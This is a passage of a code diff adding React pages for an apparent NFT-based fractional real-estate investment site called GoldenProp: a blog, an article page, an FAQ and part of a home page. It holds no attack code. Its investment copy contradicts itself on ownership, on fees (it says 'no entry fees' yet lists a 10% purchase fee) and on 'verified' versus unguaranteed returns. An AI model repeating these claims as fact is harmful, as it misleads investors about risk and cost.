161+ <div className="absolute top-4 right-4 bg-white px-3 py-1 rounded-full text-sm font-medium text-primary-600">
162+ {categories.find(c => c.id === post.category)?.name}
163+ </div>
164+ </div>
165+ <div className="p-6">
166+ <h2 className="text-xl font-semibold mb-3 hover:text-primary-600 transition-colors">
167+ {post.title}
168+ </h2>
169+ <p className="text-secondary-600 mb-4">
170+ {post.excerpt}
171+ </p>
172+ <div className="flex items-center text-sm text-secondary-500">
173+ <FiUser className="mr-2" />
174+ <span className="mr-4">{post.author}</span>
175+ <FiClock className="mr-2" />
176+ <span>{post.readTime}</span>
177+ </div>
178+ </div>
179+ </Link>
180+ </motion.article>
181+ ))}
182+ </div>
183+ </div>
184+ </div>
185+ );
186+}
187+
188+export default Blog;
+161-0src/pages/BlogPost.jsx
@@ -0,0 +1,161 @@
1+import { Link } from 'react-router-dom';
2+import { motion } from 'framer-motion';
3+import { FiClock, FiUser, FiCalendar, FiShare2, FiArrowLeft, FiTag } from 'react-icons/fi';
4+import { FaFacebook, FaTwitter, FaLinkedin } from 'react-icons/fa';
5+
6+function BlogPost() {
7+
8+ const post = {
9+ title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology',
10+ content: `
11+ <p class="mb-4">The real estate industry is undergoing a revolutionary transformation with the integration of cryptocurrency payments and blockchain technology. This shift is not just about adding another payment method – it's about fundamentally changing how property transactions are conducted, recorded, and verified.</p>
12+
13+ <h2 class="text-2xl font-semibold mt-8 mb-4">The Rise of Crypto in Real Estate</h2>
14+ <p class="mb-4">Cryptocurrency is increasingly being accepted in real estate transactions, offering several advantages:</p>
15+ <ul class="list-disc pl-6 mb-4">
16+ <li class="mb-2">Faster transaction processing</li>
17+ <li class="mb-2">Lower transaction fees</li>
18+ <li class="mb-2">Enhanced security through blockchain technology</li>
19+ <li class="mb-2">Access to global investment opportunities</li>
20+ </ul>
21+
22+ <h2 class="text-2xl font-semibold mt-8 mb-4">Blockchain's Impact on Property Transactions</h2>
23+ <p class="mb-4">Blockchain technology is revolutionizing property transactions in several ways:</p>
24+ <ol class="list-decimal pl-6 mb-4">
25+ <li class="mb-2">Smart Contracts: Automating and securing transaction processes</li>
26+ <li class="mb-2">Property Records: Creating immutable records of ownership</li>
27+ <li class="mb-2">Tokenization: Enabling fractional property ownership</li>
28+ <li class="mb-2">Transparency: Providing clear transaction histories</li>
29+ </ol>
30+
31+ <h2 class="text-2xl font-semibold mt-8 mb-4">The Future Outlook</h2>
32+ <p class="mb-4">As we look to the future, several trends are emerging:</p>
33+ <ul class="list-disc pl-6 mb-4">
34+ <li class="mb-2">Increased adoption of cryptocurrency payments in real estate</li>
35+ <li class="mb-2">More platforms offering tokenized property investments</li>
36+ <li class="mb-2">Integration of smart contracts in property transactions</li>
37+ <li class="mb-2">Enhanced security measures for digital real estate transactions</li>
38+ </ul>
39+
40+ <h2 class="text-2xl font-semibold mt-8 mb-4">Conclusion</h2>
41+ <p class="mb-4">The integration of cryptocurrency and blockchain in real estate is not just a trend – it's the future of property transactions. As these technologies continue to evolve, we can expect to see more innovative solutions that make real estate investment more accessible, secure, and efficient.</p>
42+ `,
43+ image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=1200&q=80',
44+ author: 'Sarah Johnson',
45+ date: '2024-03-15',
46+ readTime: '5 min read',
47+ category: 'Cryptocurrency',
48+ tags: ['Blockchain', 'Real Estate', 'Cryptocurrency', 'Investment']
49+ };
50+
51+ return (
52+ <div className="min-h-screen bg-secondary-50">
53+ {/* Hero Section */}
54+ <div className="relative h-[400px]">
55+ <img
56+ src={post.image}
57+ alt={post.title}
58+ className="w-full h-full object-cover"
59+ />
60+ <div className="absolute inset-0 bg-black bg-opacity-50" />
61+ <div className="absolute inset-0 flex items-center">
62+ <div className="container">
63+ <motion.div
64+ initial={{ opacity: 0, y: 20 }}
65+ animate={{ opacity: 1, y: 0 }}
66+ className="max-w-3xl text-white"
67+ >
68+ <Link to="/blog" className="inline-flex items-center text-white mb-6 hover:text-primary-300">
69+ <FiArrowLeft className="mr-2" />
70+ Back to Blog
71+ </Link>
72+ <h1 className="text-4xl font-bold mb-4">{post.title}</h1>
73+ <div className="flex items-center text-secondary-200 space-x-6">
74+ <div className="flex items-center">
75+ <FiUser className="mr-2" />
76+ {post.author}
77+ </div>
78+ <div className="flex items-center">
79+ <FiCalendar className="mr-2" />
80+ {post.date}
81+ </div>
82+ <div className="flex items-center">
83+ <FiClock className="mr-2" />
84+ {post.readTime}
85+ </div>
86+ </div>
87+ </motion.div>
88+ </div>
89+ </div>
90+ </div>
91+
92+ {/* Content */}
93+ <div className="container py-12">
94+ <div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
95+ {/* Main Content */}
96+ <motion.div
97+ initial={{ opacity: 0, y: 20 }}
98+ animate={{ opacity: 1, y: 0 }}
99+ transition={{ delay: 0.2 }}
100+ className="lg:col-span-2"
101+ >
102+ <div className="bg-white rounded-lg shadow-md p-8">
103+ <div
104+ className="prose prose-lg max-w-none"
105+ dangerouslySetInnerHTML={{ __html: post.content }}
106+ />
107+ </div>
108+ </motion.div>
109+
110+ {/* Sidebar */}
111+ <motion.div
112+ initial={{ opacity: 0, x: 20 }}
113+ animate={{ opacity: 1, x: 0 }}
114+ transition={{ delay: 0.4 }}
115+ >
116+ <div className="space-y-6">
117+ {/* Share */}
118+ <div className="bg-white rounded-lg shadow-md p-6">
119+ <h3 className="text-lg font-semibold mb-4 flex items-center">
120+ <FiShare2 className="mr-2" />
121+ Share this article
122+ </h3>
123+ <div className="flex space-x-4">
124+ <button className="p-2 rounded-full bg-blue-100 text-blue-600 hover:bg-blue-200">
125+ <FaFacebook size={20} />
126+ </button>
127+ <button className="p-2 rounded-full bg-sky-100 text-sky-500 hover:bg-sky-200">
128+ <FaTwitter size={20} />
129+ </button>
130+ <button className="p-2 rounded-full bg-blue-100 text-blue-700 hover:bg-blue-200">
131+ <FaLinkedin size={20} />
132+ </button>
133+ </div>
134+ </div>
135+
136+ {/* Tags */}
137+ <div className="bg-white rounded-lg shadow-md p-6">
138+ <h3 className="text-lg font-semibold mb-4 flex items-center">
139+ <FiTag className="mr-2" />
140+ Tags
141+ </h3>
142+ <div className="flex flex-wrap gap-2">
143+ {post.tags.map((tag, index) => (
144+ <span
145+ key={index}
146+ className="px-3 py-1 bg-secondary-100 text-secondary-600 rounded-full text-sm"
147+ >
148+ {tag}
149+ </span>
150+ ))}
151+ </div>
152+ </div>
153+ </div>
154+ </motion.div>
155+ </div>
156+ </div>
157+ </div>
158+ );
159+}
160+
161+export default BlogPost;
+248-0src/pages/FAQ.jsx
@@ -0,0 +1,248 @@
1+import { useState } from 'react';
2+import { motion, AnimatePresence } from 'framer-motion';
3+import { FiChevronDown, FiChevronUp } from 'react-icons/fi';
4+
5+function FAQ() {
6+ const [openSections, setOpenSections] = useState({});
7+
8+ const faqSections = [
9+ {
10+ title: 'General Information',
11+ questions: [
12+ {
13+ question: "What is GoldenProp?",
14+ answer: "GoldenProp is an innovative investment project dedicated to real estate. We allow clients to invest as little as $10 in investment properties, with the aim of building up regular income and/or savings."
15+ },
16+ {
17+ question: "What are the conditions for investing on GoldenProp?",
18+ answer: "Any person of legal age can hold a GoldenProp NFT! Investing is simple - you merely need to have VeChain wallet and you are ready to buy one or more GoldenProp NFTs."
19+ },
20+ {
21+ question: "Can I invest with a company or SCI?",
22+ answer: "Of course you can! As for an individual you need the same things, i.e. to hold one or more GoldenProp NFTs."
23+ },
24+ {
25+ question: "How are the properties selected?",
26+
27+ answer: "We select and negotiate the acquisition of rental or investment propertiess, and soon abroad. We do our utmost to guarantee a selection of quality rental projects and optimal risk control. Each operation is rigorously evaluated by our real estate experts, according to strict criteria including: i. the occupancy rate of the building and its net rental return on the day of acquisition ii. the general condition of the building and the common areas iii. the cost of maintenance and renovation work iv. the energy performance v. the quality of the neighbourhood vi. the geographical location of the building vii. the proximity of essential services (shops, schools, public transport, etc.) viii. key indicators such as demographics, rental pressure and the evolution of property prices in the area."
28+ },
29+ {
30+ question: "Do you become a homeowner by buying NFTs on GoldenProp?",
31+ answer: "When you buy NFTs on GoldenProp, you are not actually buying part of a property, nor do you become an owner. You hold royalties, which means that you are entitled to receive a royalty on the rents and capital gains generated by the property in which you invest. The amount of these royalties is paid to you every month, depending on the number of NFTs you own. The advantage: an immediate return on investment with income paid every month (linked to the rents collected), without the management, financing or tax constraints associated with traditional rental investment!"
32+ },
33+ {
34+ question: "When buying NFTs, do we benefit from the bank leverage effect?",
35+
36+ answer: "Yes, most of the properties we offer on our platform do not have a bank loan but some are co-financed with a bank loan. Borrowing from the bank allows us to leverage the bank and increase the profitability of the investments."
37+ },
38+ {
39+ question: "Can buying NFTs reduce my borrowing capacity?",
40+
41+ answer: "Absolutely not. The bank loans used to finance the projects are carried by our company. The purchase of NFTs therefore has no impact on your debt ratio or borrowing capacity."
42+ },
43+ {
44+
45+ question: "How is the property revaluation carried out?",
46+
47+ answer: "Because the value of a property can vary over time, each of our properties is revalued every year by an independent, TEGoVA-accredited property expert. These valuations take into account changes in the property market and any work carried out on the property. They allow the value of the NFTs to be revalued upwards or downwards. This ensures that your money is invested in property that is fairly valued."
48+ },
49+ {
50+
51+ question: "I want to buy NFTs, what payment methods are accepted?",
52+
53+ answer: "You can use various payment methods such as Metamask, Phantom wallet, OKX wallet, Trust wallet, etc."
54+ },
55+ {
56+
57+ question: "Is it possible to cancel my NFT purchase?",
58+
59+ answer: "At the moment it is not possible to get the NFT refunded after the purchase, but with time we will try to implement this function with a liquidity pool. After signing the deed of sale at the notary's office, you can sell your NFTs to other investors on our Marketplace (secondary market)."
60+ },
61+ {
62+
63+ question: 'What is the difference between "Profitability" and "Return on investment"?',
64+
65+ answer: 'The "Return on investment" corresponds to the excess part of the rents which will be paid to you after deduction of the amortization of the expenses, and, if necessary, the GoldenPropayment of credit. The "Profitability" corresponds to the returned income to which are added the real estate capital gain and the mechanical increase in the price of the NFT due to the amortization of the real estate loan present on the property in question.'
66+ }
67+ ]
68+ },
69+ {
70+ title: 'MarketPlace',
71+ questions: [
72+ {
73+ question: "What is the marketplace, or secondary market?",
74+ answer: "The GoldenProp Marketplace is our platform that allows GoldenProp community members to buy and sell NFTs among themselves. It is the equivalent of a secondary market where investors can buy and sell NFTs among themselves. We may also cooperate with other marketplaces to allow anyone to choose their preferred marketplace."
75+ },
76+ {
77+ question: "How do I resell my NFTs on the marketplace?",
78+ answer: 'From your wallet, on the "Connect" page, in the "Marketplace" tab, you will find all the properties for which you own NFTs. You just have to click on the "Sell" button to sell one or more NFTs of your choice. Good to know: you cannot resell NFTs on the marketplace before the notary has signed the deed of sale for the property concerned.'
79+ },
80+ {
81+ question: "Is the resale of my NFTs on the marketplace guaranteed?",
82+ answer: "Given the current demand, liquidity is fast. However, it is not guaranteed. As with any transaction, there must be a seller and a buyer. To sell your NFTs, another investor must buy them. To sell quickly, we recommend that you sell your NFTs at the estimated price."
83+ },
84+ {
85+ question: "At what price can I sell my NFTs?",
86+ answer: "You can sell your NFTs at any price you wish."
87+ },
88+ {
89+ question: "I sell or buy NFTs during the month. Who receives the rental income for the current month?",
90+ answer: "The rental income is paid to the investor who owns the NFTs on the day the royalties are paid."
91+ },
92+ {
93+
94+ question: "What are the advantages of buying NFTs on the marketplace?",
95+
96+ answer: "Buying NFTs on the secondary market has two main advantages: i. You get an immediate return. ii. You can invest in the city or building of your choice. In contrast, on the primary market, you can only invest in available properties."
97+ },
98+ {
99+ question: "What are the fees on the marketplace?",
100+ answer: "We take a 10% fee on the secondary market. This fee allows us to cover our various costs, and to build up a reserve to facilitate instant liquidity on the marketplace. If we cooperate with other marketplaces, their platform fees must also be taken into account."
101+ },
102+ {
103+ question: "Can I cancel a purchase on the marketplace?",
104+
105+ answer: "You cannot cancel an NFT purchase from the marketplace."
106+ }
107+ ]
108+ },
109+ {
110+ title: 'Property Management',
111+ questions: [
112+ {
113+ question: "Who does the property management?",
114+ answer: "We take care of the rental, technical, administrative and legal management of the properties. As an investor, you have nothing to manage. Property search, financing, acquisition, maintenance or renovation work, management of tenants, payment of property tax: you can have peace of mind, GoldenProp takes care of everything."
115+ },
116+ {
117+ question: "How does GoldenProp finance work on properties?",
118+ answer: "At the time of each acquisition, we carry out an estimate of the work to be done. When financing properties on the platform, we set up a provision for future work. This cash reserve, set up at the time of the initial financing, allows us to finance any future works. At the same time, we set aside between 3 and 5% of the rental income each year to finance a security reserve for future works. In this respect, our operation is similar to that of a co-ownership. In the event of unforeseen circumstances, if major works were to be carried out on one of our buildings, we could consider suspending the payment of royalties for the time needed to finance these works. However, GoldenProp holders will never be asked to reinvest to finance any work on any of our buildings. Of course, we try to limit this type of risk as much as possible by selecting the properties we offer to finance according to strict criteria."
119+ },
120+ {
121+ question: "What will happen to the properties once they are purchased?",
122+ answer: "We maintain our properties in such a way as to ensure and maintain their rental value over time. Whenever necessary, we carry out maintenance and renovation work on our properties. Our investment strategy and the contract provide for a liquidity event, 7 to 10 years after the acquisition of the property. This will result in either the resale of the property or our liquidity pool to buy back your NFTs. This decision will be made on a case-by-case basis by GoldenProp, and in the interest of the investors."
123+ },
124+ {
125+ question: "What happens if a tenant does not pay his rent?",
126+ answer: "In the event of a vacancy, or in the event of a tenant defaulting on payment, the amount of royalties we pay to investors may be reduced, thus affecting the expected annual return. This risk is inherent in any rental investment, whether the property is rented directly or through an estate agent. In order to dilute the risk of non-payment, we buy mainly rental properties with several lots or flats. This limits the risk of losing all the rent in the event of a tenant defaulting. Finally, to further limit this risk, we will, as soon as possible, put in place a guarantee for unpaid rent (GLI) on each flat that we rent out. This allows us to transfer the risk of unpaid rent to the insurer."
127+ }
128+ ]
129+ },
130+ {
131+ title: 'Accounting',
132+ questions: [
133+ {
134+ question: "What accounting evidence will I receive as an investor?",
135+ answer: "We will provide the income assignment contract, which can be downloaded from the property sheet."
136+ }
137+ ]
138+ },
139+ {
140+ title: 'Financial',
141+ questions: [
142+ {
143+ question: "What profitability can I achieve?",
144+ answer: "Profitability depends on each property as it is a ratio between the price of the property, its rental income, any work effected on it, changes to its value, and whether or not it or part of it is financed by a mortgage. We do our utmost to offer opportunities with an estimated average profitability of 6% per year. This profitability is not guaranteed, it is an estimate. Nevertheless, we do our very best to secure the announced profitability. We select areas where rental demand is higher than supply, and we put in place a guarantee of unpaid rent (GLI) on the properties under our management as soon as this is possible. However, there is no such thing as zero risk and there may be rental vacancies, unpaid rent or periods of work that reduce overall profitability. To dilute this risk, we present buildings with multiple studios or apartments. For example, in a building with 40 lots, in the event of a rental vacancy in one flat, the overall profitability will not be significantly affected. We therefore recommend that you diversify your portfolio of properties."
145+ },
146+ {
147+ question: "What is the difference between gross and net rents?",
148+ answer: "Gross rents are the rents paid by tenants every month. Net rents are the gross rents minus charges, provisions and loan repayments. It is the net rents that are paid out each month as royalties to the NFT GoldenProp holders. The amount may fluctuate depending on the rents collected and the current charges."
149+ },
150+ {
151+ question: "How does GoldenProp pay itself?",
152+ answer: "GoldenProp takes no entry fees, no exit fees and no fees on capital gains. The fees applied are as follows: i. 10% of the purchase amount (in primary sales). So you take an entry fee ii. 10% secondary market fee. So the person buying takes an entry fee iii. 1% rental management fee."
153+ }
154+ ]
155+ },
156+ {
157+ title: 'Legal',
158+ questions: [
159+ {
160+ question: "What is Royalty financing",
161+ answer: "When you invest in an asset through an NFT GoldenProp, you are bound by a royalty agreement. The royalty agreement is evidence that we are committed to paying you a percentage of our turnover at a constant frequency over the term of the agreement. The royalty regime is a contractual regime in addition to the regulated statutes (CIP, IFP), and based on common consumer and contract law. The financing operation is subject to neither a prospectus approved by the financial market authority nor to control by any other body responsible for the protection of savings. The royalty right does not constitute a financial instrument within the meaning of Article L.211-1 of the Monetary and Financial Code. The rules on direct marketing of banking and financial products do not apply."
162+ },
163+ {
164+ question: "What happens if the financing objective is not reached on a property?",
165+ answer: "For each property, the sums paid by investors are deposited in an escrow bank account. The funds are only credited to the transaction if the fundraising campaign is successful. In the event that the transaction is not fully funded at the time of collection, we may be able to carry out the transaction on a credit in order to use the bank leverage effect or, if this is not possible, the funds will be returned in full to the investors, and you will be reimbursed 100%."
166+ },
167+ {
168+ question: "How will my personal data be used?",
169+ answer: 'In accordance with the French law "Informatique et Libertés", GoldenProp is committed to respecting the regulatory and ethical provisions on the protection of personal data. The information you provide when you register is stored on the platform in a secure and encrypted manner. Under no circumstances will GoldenProp sell your personal information to third parties.'
170+ },
171+ {
172+ question: "Are transactions on the platform secure?",
173+
174+ answer: "GoldenProp uses the most advanced technical means to ensure the confidentiality and security of transactions on the platform. "
175+ }
176+ ]
177+ }
178+ ];
179+
180+ const toggleSection = (sectionTitle, questionIndex) => {
181+ setOpenSections(prev => ({
182+ ...prev,
183+ [`${sectionTitle}-${questionIndex}`]: !prev[`${sectionTitle}-${questionIndex}`]
184+ }));
185+ };
186+
187+
188+ return (
189+ <div className="min-h-screen bg-secondary-50 py-16">
190+ <div className="container">
191+ <motion.div
192+ initial={{ opacity: 0, y: 20 }}
193+ animate={{ opacity: 1, y: 0 }}
194+ className="max-w-3xl mx-auto"
195+ >
196+ <h1 className="text-4xl font-bold text-center mb-4">Frequently Asked Questions</h1>
197+ <p className="text-secondary-600 text-center mb-12">
198+ Find answers to common questions about our platform, cryptocurrency payments, and real estate investment.
199+ </p>
200+
201+ <div className="space-y-8">
202+ {faqSections.map((section, sectionIndex) => (
203+ <div key={sectionIndex} className="bg-white rounded-lg shadow-md overflow-hidden">
204+ <h2 className="text-xl font-semibold p-6 bg-secondary-50">
205+ {section.title}
206+ </h2>
207+ <div className="divide-y divide-secondary-100">
208+ {section.questions.map((item, questionIndex) => (
209+ <div key={questionIndex} className="p-6">
210+ <button
211+ className="w-full flex justify-between items-center text-left"
212+ onClick={() => toggleSection(section.title, questionIndex)}
213+ >
214+ <span className="font-medium">{item.question}</span>
215+ {openSections[`${section.title}-${questionIndex}`] ? (
216+ <FiChevronUp className="flex-shrink-0 ml-4" />
217+ ) : (
218+ <FiChevronDown className="flex-shrink-0 ml-4" />
219+ )}
220+ </button>
221+ <AnimatePresence>
222+ {openSections[`${section.title}-${questionIndex}`] && (
223+ <motion.div
224+ initial={{ height: 0, opacity: 0 }}
225+ animate={{ height: 'auto', opacity: 1 }}
226+ exit={{ height: 0, opacity: 0 }}
227+ transition={{ duration: 0.3 }}
228+ className="overflow-hidden"
229+ >
230+ <p className="mt-4 text-secondary-600">
231+ {item.answer}
232+ </p>
233+ </motion.div>
234+ )}
235+ </AnimatePresence>
236+ </div>
237+ ))}
238+ </div>
239+ </div>
240+ ))}
241+ </div>
242+ </motion.div>
243+ </div>
244+ </div>
245+ );
246+}
247+
248+export default FAQ;
+627-0src/pages/Home.jsx
@@ -0,0 +1,627 @@
1+import { useState } from 'react';
2+import { Link } from 'react-router-dom';
3+import { motion, AnimatePresence } from 'framer-motion';
4+import { FiArrowRight, FiUser, FiClock } from 'react-icons/fi';
5+import { FaWallet, FaStore, FaMoneyBillWave, FaExchangeAlt, FaChartLine, FaLock, FaUserCog, FaCoins } from 'react-icons/fa';
6+import { SiEthereum } from 'react-icons/si';
7+import { FiChevronDown, FiChevronUp } from 'react-icons/fi';
8+
9+function Home() {
10+ const [openSections, setOpenSections] = useState({});
11+
12+ const featuredProperties = [
13+ {
14+ id: 1,
15+ title: 'Luxury Downtown Apartment',
16+ price: {
17+ usd: 850000,
18+ eth: 425, // Example ETH value
19+ },
20+ location: 'Miami, FL',
21+ image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80',
22+ roi: '7.2% Annual',
23+ metrics: {
24+ totalInvestors: 142,
25+ funded: '89%',
26+ minInvestment: '$10',
27+ },
28+ status: 'Active Investment'
29+ },
30+ {
31+ id: 2,
32+ title: 'Modern Tech District Complex',
33+ price: {
34+ usd: 1200000,
35+ eth: 600,
36+ },
37+ location: 'Austin, TX',
38+ image: 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80',
39+ roi: '6.8% Annual',
40+ metrics: {
41+ totalInvestors: 203,
42+ funded: '95%',
43+ minInvestment: '$10',
44+ },
45+ status: 'Almost Funded'
46+ },
47+ {
48+ id: 3,
49+ title: 'Waterfront Commercial Space',
50+ price: {
51+ usd: 2100000,
52+ eth: 1050,
53+ },
54+ location: 'Seattle, WA',
55+ image: 'https://images.unsplash.com/photo-1486406146926-c627a92ad1ab?w=800&q=80',
56+ roi: '7.5% Annual',
57+ metrics: {
58+ totalInvestors: 89,
59+ funded: '45%',
60+ minInvestment: '$10',
61+ },
62+ status: 'New Listing'
63+ }
64+ ];
65+
66+ const advantages = [
67+ {
68+ icon: FaChartLine,
69+ title: 'Profitability',
70+ description: 'Target average annual returns of 7% through strategic property investments and efficient management.'
71+ },
72+ {
73+ icon: FaExchangeAlt,
74+ title: 'Liquidity',
75+ description: 'Trade your property NFTs anytime on our marketplace, providing unprecedented real estate liquidity.'
76+ },
77+ {
78+ icon: FaLock,
79+ title: 'No Hidden Fees',
80+ description: 'Transparent pricing with no entry, exit, or capital gains fees. What you see is what you get.'
81+ },
82+ {
83+ icon: FaUserCog,
84+ title: 'Hassle-Free Management',
85+ description: 'ValorNuvesta handles all property management aspects, from maintenance to tenant relations.'
86+ }
87+ ];
88+
89+ const investmentSteps = [
90+ {
91+ icon: FaWallet,
92+ title: 'Connect Wallet',
93+ description: 'Connect your cryptocurrency wallet to GoldenProp to start investing.'
94+ },
95+ {
96+ icon: FaStore,
97+ title: 'Choose Property',
98+ description: 'Browse our marketplace and select properties that match your investment goals.'
99+ },
100+ {
101+ icon: FaMoneyBillWave,
102+ title: 'Receive Returns',
103+ description: 'Collect monthly rental returns directly to your connected wallet.'
104+ },
105+ {
106+ icon: FaExchangeAlt,
107+ title: 'Flexible Exit',
108+ description: 'Sell your property NFTs whenever you want through our marketplace.'
109+ }
110+ ];
111+
112+ const howItWorks = [
113+ {
114+ icon: FaCoins,
115+ title: 'Tokenization',
116+ description: 'Properties are divided into $10 NFT tokens, making real estate investment accessible to everyone.'
117+ },
118+ {
119+ icon: SiEthereum,
120+ title: 'Purchase NFTs',
121+ description: 'Buy property NFTs using cryptocurrency, becoming a fractional owner of the property.'
122+ },
123+ {
124+ icon: FaMoneyBillWave,
125+ title: 'Monthly Returns',
126+ description: 'Receive your share of rental income directly to your wallet each month.'
127+ },
128+ {
129+ icon: FaExchangeAlt,
130+ title: 'Flexible Trading',
131+ description: 'Hold for passive income or sell your NFTs on our marketplace at any time.'
132+ }
133+ ];
134+
135+ const categories = [
136+ { id: 'all', name: 'All Posts' },
137+ { id: 'crypto', name: 'Cryptocurrency' },
138+ { id: 'investment', name: 'Investment' },
139+ { id: 'property', name: 'Property' },
140+ { id: 'technology', name: 'Technology' },
141+ { id: 'market', name: 'Market Analysis' }
142+ ];
143+
144+ const blogPosts = [
145+ {
146+ id: 1,
147+ title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology',
148+ slug: 'future-real-estate-crypto-payments',
149+ excerpt: 'Explore how cryptocurrency and blockchain are revolutionizing property transactions and investment opportunities.',
150+ image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=800&q=80',
151+ category: 'crypto',
152+ author: 'Sarah Johnson',
153+ date: '2024-03-15',
154+ readTime: '5 min read'
155+ },
156+ {
157+ id: 2,
158+ title: 'Understanding Tokenized Real Estate Investment',
159+ slug: 'understanding-tokenized-real-estate',
160+ excerpt: "A comprehensive guide to property tokenization and how it's making real estate investment more accessible.",
161+ image: 'https://images.unsplash.com/photo-1460472178825-e5240623afd5?w=800&q=80',
162+ category: 'investment',
163+ author: 'Michael Chen',
164+ date: '2024-03-12',
165+ readTime: '7 min read'
166+ },
167+ {
168+ id: 3,
169+ title: 'Smart Contracts in Real Estate Transactions',
170+ slug: 'smart-contracts-real-estate',
171+ excerpt: 'How smart contracts are streamlining property transactions and reducing costs.',
172+ image: 'https://images.unsplash.com/photo-1451187580459-43490279c0fa?w=800&q=80',
173+ category: 'technology',
174+ author: 'David Rodriguez',
175+ date: '2024-03-10',
176+ readTime: '6 min read'
177+ }
178+ ];
179+
180+ const faqSections = [
181+ {
182+ title: 'General Information',
183+ questions: [
184+ {
185+ question: "What is GoldenProp?",
186+ answer: "GoldenProp is an innovative investment project dedicated to real estate. We allow clients to invest as little as $10 in investment properties, with the aim of building up regular income and/or savings."
187+ },
188+ {
189+ question: "I want to buy NFTs, what payment methods are accepted?",
190+ answer: "You can use various payment methods such as Metamask, Phantom wallet, OKX wallet, Trust wallet, etc."
191+ },
192+ {
193+ question: "What is the marketplace, or secondary market?",
194+ answer: "The GoldenProp Marketplace is our platform that allows GoldenProp community members to buy and sell NFTs among themselves. It is the equivalent of a secondary market where investors can buy and sell NFTs among themselves. We may also cooperate with other marketplaces to allow anyone to choose their preferred marketplace."
195+ },
196+ {
197+ question: "I sell or buy NFTs during the month. Who receives the rental income for the current month?",
198+ answer: "The rental income is paid to the investor who owns the NFTs on the day the royalties are paid."
199+ },
200+ {
201+ question: "Are transactions on the platform secure?",
202+ answer: "GoldenProp uses the most advanced technical means to ensure the confidentiality and security of transactions on the platform. "
203+ }
204+ ]
205+ }
206+ ];
207+
208+ const toggleSection = (sectionTitle, questionIndex) => {
209+ setOpenSections(prev => ({
210+ ...prev,
211+ [`${sectionTitle}-${questionIndex}`]: !prev[`${sectionTitle}-${questionIndex}`]
212+ }));
213+ };
214+
215+ return (
216+ <div className="space-y-16">
217+ {/* Hero Section */}
218+ <section className="relative h-[600px] flex items-center justify-center overflow-hidden">
219+ <div className="absolute inset-0 overflow-hidden">
220+ <img
221+ src="https://images.unsplash.com/photo-1600596542815-ffad4c1539a9?w=1600&q=80"
222+ alt="Hero background"
223+ className="w-full h-full object-cover"
224+ />
225+ <div className="absolute inset-0 glass-hero" />
226+ </div>
227+
228+ <div className="relative container text-center text-white space-y-8">
229+ <motion.div
230+ className="glass-section p-8 md:p-12 max-w-4xl mx-auto bg-sapphire-900/50 backdrop-blur-lg border border-white/20"
231+ initial={{ opacity: 0, y: 20 }}
232+ animate={{ opacity: 1, y: 0 }}
233+ transition={{ duration: 0.6 }}
234+ >
235+ <motion.h1
236+ className="text-2xl sm:text-3xl md:text-4xl lg:text-5xl font-bold mb-6 text-white drop-shadow-lg text-center"
237+ initial={{ opacity: 0, y: 20 }}
238+ animate={{ opacity: 1, y: 0 }}
239+ transition={{ duration: 0.6 }}
240+ >
241+ Invest and Trade in Real Estate with Cryptocurrency
242+ </motion.h1>
243+ <motion.p
244+ className="text-xl max-w-2xl mx-auto text-white/90 drop-shadow-md"
245+ initial={{ opacity: 0, y: 20 }}
246+ animate={{ opacity: 1, y: 0 }}
247+ transition={{ duration: 0.6, delay: 0.2 }}
248+ >
249+ Own fractional shares of premium properties through NFTs. Start investing with as little as $10.
250+ </motion.p>
251+ </motion.div>
252+ </div>
253+ </section>
254+ {/* Investment Steps */}
255+ <section className="container">
256+ <div className="text-center mb-12">
257+ <h2 className="text-3xl font-bold mb-4 text-sapphire-800">Start Investing in Minutes</h2>
258+ <p className="text-platinum-600">Your journey to crypto-powered real estate investment</p>
259+ </div>
260+
261+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
262+ {investmentSteps.map((step, index) => (
263+ <motion.div
264+ key={index}
265+ className="relative"
266+ initial={{ opacity: 0, y: 20 }}
267+ whileInView={{ opacity: 1, y: 0 }}
268+ viewport={{ once: true }}
269+ transition={{ delay: index * 0.2 }}
270+ >
271+ <div className="glass-card p-6 text-center group hover:shadow-glass-xl transition-all duration-500">
272+ <div className="bg-gradient-to-br from-primary-100 to-primary-200 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4 group-hover:scale-110 transition-transform duration-300">
273+ <step.icon className="text-2xl text-primary-600" />
274+ </div>
275+ <div className="text-primary-600 text-2xl font-bold mb-4">Step {index + 1}</div>
276+ <h3 className="text-xl font-semibold mb-2 text-sapphire-800">{step.title}</h3>
277+ <p className="text-platinum-600">{step.description}</p>
278+ </div>
279+ </motion.div>
280+ ))}
281+ </div>
282+ </section>
283+
284+ {/* How It Works */}
285+ <section className="bg-gradient-to-br from-sapphire-900 via-sapphire-800 to-sapphire-900 text-white py-16 relative overflow-hidden">
286+ <div className="absolute inset-0 bg-gradient-to-br from-sapphire-900/50 to-transparent"></div>
287+ <div className="container relative">
288+ <div className="text-center mb-12">
289+ <h2 className="text-3xl font-bold mb-4">How GoldenProp Works</h2>
290+ <p className="text-sapphire-200">Understanding our tokenized real estate platform</p>
291+ </div>
292+
293+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
294+ {howItWorks.map((item, index) => (
295+ <motion.div
296+ key={index}
297+ className="glass-card bg-sapphire-800/30 p-6 backdrop-blur-lg border-sapphire-700/30 group hover:bg-sapphire-700/40 transition-all duration-500"
298+ initial={{ opacity: 0, y: 20 }}
299+ whileInView={{ opacity: 1, y: 0 }}
300+ viewport={{ once: true }}
301+ transition={{ delay: index * 0.2 }}
302+ >
303+ <div className="bg-gradient-to-br from-primary-500 to-primary-600 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4 group-hover:scale-110 transition-transform duration-300">
304+ <item.icon className="text-2xl text-white" />
305+ </div>
306+ <h3 className="text-xl font-semibold mb-2 text-center">{item.title}</h3>
307+ <p className="text-sapphire-200 text-center">{item.description}</p>
308+ </motion.div>
309+ ))}
310+ </div>
311+ </div>
312+ </section>
313+
314+ {/* Featured Properties */}
315+ <section className="container">
316+ <div className="text-center mb-12">
317+ <h2 className="text-3xl font-bold mb-4 text-sapphire-800">Featured Investment Opportunities</h2>
318+ <p className="text-platinum-600">Curated properties with verified returns and immediate tokenization</p>
319+ </div>
320+
